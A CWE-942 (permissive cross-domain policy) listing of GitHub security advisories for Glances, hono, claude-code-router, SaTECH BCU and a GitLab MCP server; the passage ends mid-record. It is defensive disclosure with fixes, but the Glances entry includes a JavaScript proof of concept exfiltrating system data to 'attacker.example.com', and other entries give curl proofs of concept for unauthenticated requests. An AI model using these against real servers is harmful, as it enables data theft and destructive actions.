CWE-942
AllowedPermissive Cross-domain Security Policy with Untrusted Domains
Abstraction: Variant · Status: Incomplete
The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.
212 vulnerabilities reference this CWE, most recent first.
GHSA-7V32-CC9H-MHV6
Vulnerability from github – Published: 2025-03-28 15:31 – Updated: 2025-10-10 18:31SaTECH BCU, in its firmware version 2.1.3, could allow XSS attacks and other malicious resources to be stored on the web server. An attacker with some knowledge of the web application could send a malicious request to the victim users. Through this request, the victims would interpret the code (resources) stored on another malicious website owned by the attacker.
{
"affected": [],
"aliases": [
"CVE-2025-2865"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-28T14:15:21Z",
"severity": "LOW"
},
"details": "SaTECH BCU, in its firmware version 2.1.3, could allow XSS attacks and other malicious resources to be stored on the web server. An attacker with some knowledge of the web application could send a malicious request to the victim users. Through this request, the victims would interpret the code (resources) stored on another malicious website owned by the attacker.",
"id": "GHSA-7v32-cc9h-mhv6",
"modified": "2025-10-10T18:31:17Z",
"published": "2025-03-28T15:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2865"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-arteches-satech-bcu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-87QC-FJ39-WCCR
Vulnerability from github – Published: 2026-06-22 21:27 – Updated: 2026-07-21 14:44Summary
The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.
Details
Affected file: glances/server.py, class GlancesXMLRPCServer, line 113
Direct URL (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113
# server.py (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins # list from config / CLI
# Line 113 — the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
# ^^^
# Any allowlist with 2+ entries collapses to the wildcard
The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):
self.send_header('Access-Control-Allow-Origin', self.cors_origin)
This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:
# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.
Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Origin sent | ACAO header returned | Expected |
|---|---|---|
http://evil.example.com |
* |
No header |
https://dashboard.corp |
* |
Reflected |
https://grafana.corp |
* |
Reflected |
PoC
Special configuration required
The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:
# /tmp/glances_multiorigin.conf
[global]
check_update = false
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
Step 1 — Start the XML-RPC server using the config above
glances -s -p 61209 -C /tmp/glances_multiorigin.conf
Step 2 — Send a CORS simple request from a foreign origin
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
-H "Content-Type: text/plain" \
-H "Origin: http://evil.example.com" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
Expected (secure) response:
HTTP/1.0 400 Bad Request
or no Access-Control-Allow-Origin header.
Actual response:
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
<params><param><value><array><data>
<value><string>cpu</string></value>
<value><string>mem</string></value>
...
</data></array></value></param></params>
</methodResponse>
Step 3 — Demonstrate the code-level collapse to wildcard
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard? : True
Browser-based exploitation
Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
fetch('http://GLANCES_HOST:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
})
.then(r => r.text())
.then(data => {
// 'data' contains hostname, OS, full process list, network interfaces, etc.
fetch('https://attacker.example.com/collect?d=' + btoa(data));
});
This works as a CORS "simple request" (POST + text/plain) — no CORS preflight is triggered and the * wildcard allows the browser to read the response.
Impact
Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)
Who is impacted: Any operator who:
1. Runs Glances in XML-RPC server mode (glances -s), and
2. Has configured two or more cors_origins entries in glances.conf believing
they are restricting browser access.
Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.
Impact: - Confidentiality: High — complete system monitoring data readable by any browser page. - Integrity: None — read-only API. - Availability: None — no denial-of-service component.
Suggested Fix
Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):
# server.py — replace the single static self.cors_origin field with:
def _get_acao_header(self, request_origin: str) -> str | None:
"""Return the correct Access-Control-Allow-Origin value or None."""
if not self.cors_origins or '*' in self.cors_origins:
return '*'
if request_origin in self.cors_origins:
return request_origin
return None # do not send the header for unlisted origins
# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao = self._get_acao_header(origin)
if acao:
self.send_header('Access-Control-Allow-Origin', acao)
self.send_header('Vary', 'Origin')
Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46608"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T21:27:24Z",
"nvd_published_at": "2026-06-25T19:16:37Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard \u2014 the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim\u0027s knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins # list from config / CLI\n\n# Line 113 \u2014 the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else \u0027*\u0027\n# ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header(\u0027Access-Control-Allow-Origin\u0027, self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser. Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent | ACAO header returned | Expected |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*` | No header |\n| `https://dashboard.corp` | `*` | Reflected |\n| `https://grafana.corp` | `*` | Reflected |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries. Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 \u2014 Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 \u2014 Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n -H \"Content-Type: text/plain\" \\\n -H \"Origin: http://evil.example.com\" \\\n -d \u0027\u003c?xml version=\"1.0\"?\u003e\n \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\u003c?xml version=\u00271.0\u0027?\u003e\n\u003cmethodResponse\u003e\n \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003carray\u003e\u003cdata\u003e\n \u003cvalue\u003e\u003cstring\u003ecpu\u003c/string\u003e\u003c/value\u003e\n \u003cvalue\u003e\u003cstring\u003emem\u003c/string\u003e\u003c/value\u003e\n ...\n \u003c/data\u003e\u003c/array\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u003c/methodResponse\u003e\n```\n\n**Step 3 \u2014 Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027) # adjust to local clone\nfrom glances.config import Config\n\nc = Config(\u0027/tmp/glances_multiorigin.conf\u0027)\ncors_list = c.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\u0027*\u0027])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else \u0027*\u0027\n\nprint(\u0027cors_origins config :\u0027, cors_list)\nprint(\u0027cors_origin applied :\u0027, result)\nprint(\u0027Is wildcard? :\u0027, result == \u0027*\u0027)\n# cors_origins config : [\u0027https://dashboard.corp.example.com\u0027, \u0027https://grafana.corp.example.com\u0027]\n# cors_origin applied : *\n# Is wildcard? : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\u003c?xml version=\"1.0\"?\u003e\n \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n\nfetch(\u0027http://GLANCES_HOST:61209/RPC2\u0027, {\n method: \u0027POST\u0027,\n headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n body: payload,\n})\n.then(r =\u003e r.text())\n.then(data =\u003e {\n // \u0027data\u0027 contains hostname, OS, full process list, network interfaces, etc.\n fetch(\u0027https://attacker.example.com/collect?d=\u0027 + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) \u2014 no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable by any browser page.\n- **Integrity:** None \u2014 read-only API.\n- **Availability:** None \u2014 no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette\u0027s `CORSMiddleware`):\n\n```python\n# server.py \u2014 replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -\u003e str | None:\n \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n if not self.cors_origins or \u0027*\u0027 in self.cors_origins:\n return \u0027*\u0027\n if request_origin in self.cors_origins:\n return request_origin\n return None # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get(\u0027Origin\u0027, \u0027\u0027)\nacao = self._get_acao_header(origin)\nif acao:\n self.send_header(\u0027Access-Control-Allow-Origin\u0027, acao)\n self.send_header(\u0027Vary\u0027, \u0027Origin\u0027)\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette\u0027s `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
"id": "GHSA-87qc-fj39-wccr",
"modified": "2026-07-21T14:44:09Z",
"published": "2026-06-22T21:27:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46608"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-87qc-fj39-wccr"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2495.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/glances"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)"
}
GHSA-88FW-HQM2-52QC
Vulnerability from github – Published: 2026-06-16 14:15 – Updated: 2026-07-21 15:27Summary
With credentials: true and no explicit origin (the default wildcard), the CORS Middleware reflects the request's Origin and sends Access-Control-Allow-Credentials: true. Any site can then make credentialed cross-origin requests and read the responses, exposing cookie-authenticated endpoints to arbitrary origins.
Details
The spec forbids Access-Control-Allow-Origin: * with credentials and browsers reject it, so this configuration used to fail closed. In affected versions the middleware reflects the request Origin instead, so it now succeeds for every origin, including null. The preflight also echoes the requested headers back, approving non-simple credentialed requests too.
This issue arises when an application enables credentials: true and leaves origin unset or set to the wildcard.
Impact
Any third-party page a logged-in user visits can read the application's cookie-authenticated endpoints and perform credentialed state-changing requests. This affects applications that enable credentialed CORS without restricting origin.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54290"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T14:15:39Z",
"nvd_published_at": "2026-06-22T18:16:47Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWith `credentials: true` and no explicit `origin` (the default wildcard), the CORS Middleware reflects the request\u0027s `Origin` and sends `Access-Control-Allow-Credentials: true`. Any site can then make credentialed cross-origin requests and read the responses, exposing cookie-authenticated endpoints to arbitrary origins.\n\n### Details\n\nThe spec forbids `Access-Control-Allow-Origin: *` with credentials and browsers reject it, so this configuration used to fail closed. In affected versions the middleware reflects the request `Origin` instead, so it now succeeds for every origin, including `null`. The preflight also echoes the requested headers back, approving non-simple credentialed requests too.\n\nThis issue arises when an application enables `credentials: true` and leaves `origin` unset or set to the wildcard.\n\n### Impact\n\nAny third-party page a logged-in user visits can read the application\u0027s cookie-authenticated endpoints and perform credentialed state-changing requests. This affects applications that enable credentialed CORS without restricting `origin`.",
"id": "GHSA-88fw-hqm2-52qc",
"modified": "2026-07-21T15:27:03Z",
"published": "2026-06-16T14:15:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-88fw-hqm2-52qc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54290"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "hono: CORS Middleware reflects any Origin with credentials when `origin` defaults to the wildcard"
}
GHSA-8HMM-4CRW-VM2C
Vulnerability from github – Published: 2025-08-21 14:54 – Updated: 2025-08-21 19:17Impact
Due to improper Cross-Origin Resource Sharing (CORS) configuration, there is a risk that user API Keys or equivalent credentials may be exposed to untrusted domains. Attackers could exploit this misconfiguration to steal credentials, abuse accounts, exhaust quotas, or access sensitive data.
Patches
The issue has been patched in v1.0.34.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@musistudio/claude-code-router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57755"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-21T14:54:24Z",
"nvd_published_at": "2025-08-21T17:15:31Z",
"severity": "HIGH"
},
"details": "### Impact\nDue to improper Cross-Origin Resource Sharing (CORS) configuration, there is a risk that user API Keys or equivalent credentials may be exposed to untrusted domains. Attackers could exploit this misconfiguration to steal credentials, abuse accounts, exhaust quotas, or access sensitive data.\n\n### Patches\nThe issue has been patched in v1.0.34.",
"id": "GHSA-8hmm-4crw-vm2c",
"modified": "2025-08-21T19:17:34Z",
"published": "2025-08-21T14:54:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/musistudio/claude-code-router/security/advisories/GHSA-8hmm-4crw-vm2c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57755"
},
{
"type": "WEB",
"url": "https://github.com/musistudio/claude-code-router/issues/549"
},
{
"type": "PACKAGE",
"url": "https://github.com/musistudio/claude-code-router"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "@musistudio/claude-code-router has improper CORS configuration"
}
GHSA-8JR5-6GVJ-RFPF
Vulnerability from github – Published: 2026-05-09 00:10 – Updated: 2026-06-08 23:34SSE Transport Has No Authentication and Wildcard CORS, Exposing All 86 GitLab Tools Including Destructive Operations
A review of mcp-gitlab-server at commit 80a7b4cf3fba6b55389c0ef491a48190f7c8996a uncovered that the SSE HTTP transport — advertised in the README and comparison table as a differentiating feature — runs with no authentication and wildcard CORS on every endpoint. The maintainers' own roadmap confirms auth is a known gap.
When USE_SSE=true, the HTTP server in src/transport.ts sets:
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
The httpServer.listen(port) call at line 97 passes no host argument — Node.js defaults to 0.0.0.0, binding on all interfaces. Two endpoints are exposed with no credential check:
GET /sse— opens an SSE connection, returns a session endpoint URLPOST /messages?sessionId=<id>— sends MCP messages to the server using the loadedGITLAB_PERSONAL_ACCESS_TOKEN
Any caller who can reach the port — LAN, cloud instance, or via the browser-tab vector the wildcard CORS enables — gets full access to all 86 tools the server exposes using the operator's GitLab PAT. That includes delete_repository, delete_group, push_files, create_merge_request, update_repository_settings, and any other tool the server exposes. The PAT doesn't leave the process, but every API call it backs is available to the unauthenticated caller.
The wildcard CORS makes the browser-tab vector direct: any web page the operator visits while the server is running can open an SSE connection and make tool calls via cross-origin fetch. No user interaction beyond visiting the page.
PoC — reproduces from the documented USE_SSE=true configuration:
# Step 1: connect SSE and capture the session endpoint
curl -N http://localhost:3000/sse &
# Output includes: event: endpoint
# data: /messages?sessionId=<UUID>
# Step 2: call any tool — no auth header needed
curl -X POST "http://localhost:3000/messages?sessionId=<UUID>" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_repository",
"arguments": {"project_id": "target-org/private-repo"}
}
}'
# Returns repository data using the operator's GitLab PAT
# Same path works for delete_repository, push_files, etc.
Root cause
The HTTP transport in src/transport.ts ships with no authentication layer at all and a wildcard Access-Control-Allow-Origin: * on every response. The structural defect is that the SSE server stands up a stateful, mutation-capable RPC endpoint that is backed by the operator's GITLAB_PERSONAL_ACCESS_TOKEN without any inbound credential check, then advertises itself to every cross-origin browser context via the wildcard CORS header. The httpServer.listen(port) call at line 97 also passes no host argument, so the bind defaults to 0.0.0.0 and exposes the auth-less surface on every interface. Auth isn't fail-opening on a missing config — there is no auth check at any code path on either /sse or /messages?sessionId=....
Auth boundary violated
Trust-domain boundary — untrusted cross-origin browser context (and any unauthenticated network caller) crossing into the trusted server-state-mutating GitLab API surface that the operator's PAT backs. Respected-here: nothing. The transport carries no Authorization check, no origin allowlist, no session-binding to the originating client, and no host restriction. Ignored-there: the SSE handler at src/transport.ts accepts an arbitrary Origin (since Access-Control-Allow-Origin: *), opens a session, and the matching POST /messages?sessionId=... proxies tool calls — including delete_repository, push_files, update_repository_settings — to the GitLab API using the operator's PAT. Any web page the operator visits while the server runs can drive the full 86-tool surface via cross-origin fetch.
The roadmap in README.md at line 190 includes - [ ] SAML/OAuth3 authentication — confirming the maintainers are already tracking this gap. The issue is disclosure of impact in the interim: operators who follow the README's SSE setup instructions and don't see an auth requirement in the docs may reasonably assume the transport is safe to use on a network-accessible host.
CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N — ~6.3 (Medium). AT:P reflects the USE_SSE=true precondition. When that precondition is met, the effective severity for those deployments is High — full GitLab PAT access without authentication. The Medium CVSS is the aggregate across all deployments; for any operator who has activated SSE mode (which the README promotes as a feature), the finding is functionally High.
Fix — four concrete changes:
- Require
MCP_GITLAB_AUTH_TOKENas a startup precondition whenUSE_SSE=true. If the env var is unset, the server should exit with a clear message before the HTTP server starts:
typescript
if (process.env.USE_SSE === 'true') {
if (!process.env.MCP_GITLAB_AUTH_TOKEN) {
console.error(
'ERROR: MCP_GITLAB_AUTH_TOKEN must be set when USE_SSE=true. ' +
'SSE transport without authentication exposes all GitLab tools to unauthenticated callers.'
);
process.exit(1);
}
}
The token check in src/transport.ts validates it on every request:
typescript
const authToken = process.env.MCP_GITLAB_AUTH_TOKEN;
if (authToken) {
const provided = req.headers['authorization']?.replace(/^Bearer /, '');
if (provided !== authToken) {
res.writeHead(401);
res.end(JSON.stringify({ error: 'Unauthorized' }));
return;
}
}
-
Bind to
127.0.0.1by default for the SSE transport rather than0.0.0.0. An explicitMCP_GITLAB_HOST=0.0.0.0flag with a startup banner warning can expose it to the network for operators who need that — but the safe default should be loopback-only. -
Replace the wildcard
Access-Control-Allow-Origin: *with a localhost-only default. When network exposure is intentional (explicit flag + auth token set), an explicitCORS_ORIGINSallowlist should be required. -
The SAML/OAuth3 roadmap item is the right long-term direction. In the interim — before that ships — the three changes above are entirely in the existing codebase with no new dependencies.
No prior security advisories, CVEs, or public security issues exist for this package — a search of the repository issue list and npm advisory database did not yield any duplicate issues.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@yoda.digital/gitlab-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44895"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-09T00:10:28Z",
"nvd_published_at": "2026-05-26T22:16:42Z",
"severity": "HIGH"
},
"details": "## SSE Transport Has No Authentication and Wildcard CORS, Exposing All 86 GitLab Tools Including Destructive Operations\n\nA review of `mcp-gitlab-server` at commit `80a7b4cf3fba6b55389c0ef491a48190f7c8996a` uncovered that the SSE HTTP transport \u2014 advertised in the README and comparison table as a differentiating feature \u2014 runs with no authentication and wildcard CORS on every endpoint. The maintainers\u0027 own roadmap confirms auth is a known gap.\n\nWhen `USE_SSE=true`, the HTTP server in `src/transport.ts` sets:\n\n```typescript\nres.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\nres.setHeader(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST\u0027);\nres.setHeader(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type\u0027);\n```\n\nThe `httpServer.listen(port)` call at line 97 passes no host argument \u2014 Node.js defaults to `0.0.0.0`, binding on all interfaces. Two endpoints are exposed with no credential check:\n\n- `GET /sse` \u2014 opens an SSE connection, returns a session endpoint URL\n- `POST /messages?sessionId=\u003cid\u003e` \u2014 sends MCP messages to the server using the loaded `GITLAB_PERSONAL_ACCESS_TOKEN`\n\nAny caller who can reach the port \u2014 LAN, cloud instance, or via the browser-tab vector the wildcard CORS enables \u2014 gets full access to all 86 tools the server exposes using the operator\u0027s GitLab PAT. That includes `delete_repository`, `delete_group`, `push_files`, `create_merge_request`, `update_repository_settings`, and any other tool the server exposes. The PAT doesn\u0027t leave the process, but every API call it backs is available to the unauthenticated caller.\n\nThe wildcard CORS makes the browser-tab vector direct: any web page the operator visits while the server is running can open an SSE connection and make tool calls via cross-origin fetch. No user interaction beyond visiting the page.\n\n**PoC \u2014 reproduces from the documented USE_SSE=true configuration:**\n\n```bash\n# Step 1: connect SSE and capture the session endpoint\ncurl -N http://localhost:3000/sse \u0026\n# Output includes: event: endpoint\n# data: /messages?sessionId=\u003cUUID\u003e\n\n# Step 2: call any tool \u2014 no auth header needed\ncurl -X POST \"http://localhost:3000/messages?sessionId=\u003cUUID\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"get_repository\",\n \"arguments\": {\"project_id\": \"target-org/private-repo\"}\n }\n }\u0027\n# Returns repository data using the operator\u0027s GitLab PAT\n\n# Same path works for delete_repository, push_files, etc.\n```\n\n## Root cause\n\nThe HTTP transport in `src/transport.ts` ships with no authentication layer at all and a wildcard `Access-Control-Allow-Origin: *` on every response. The structural defect is that the SSE server stands up a stateful, mutation-capable RPC 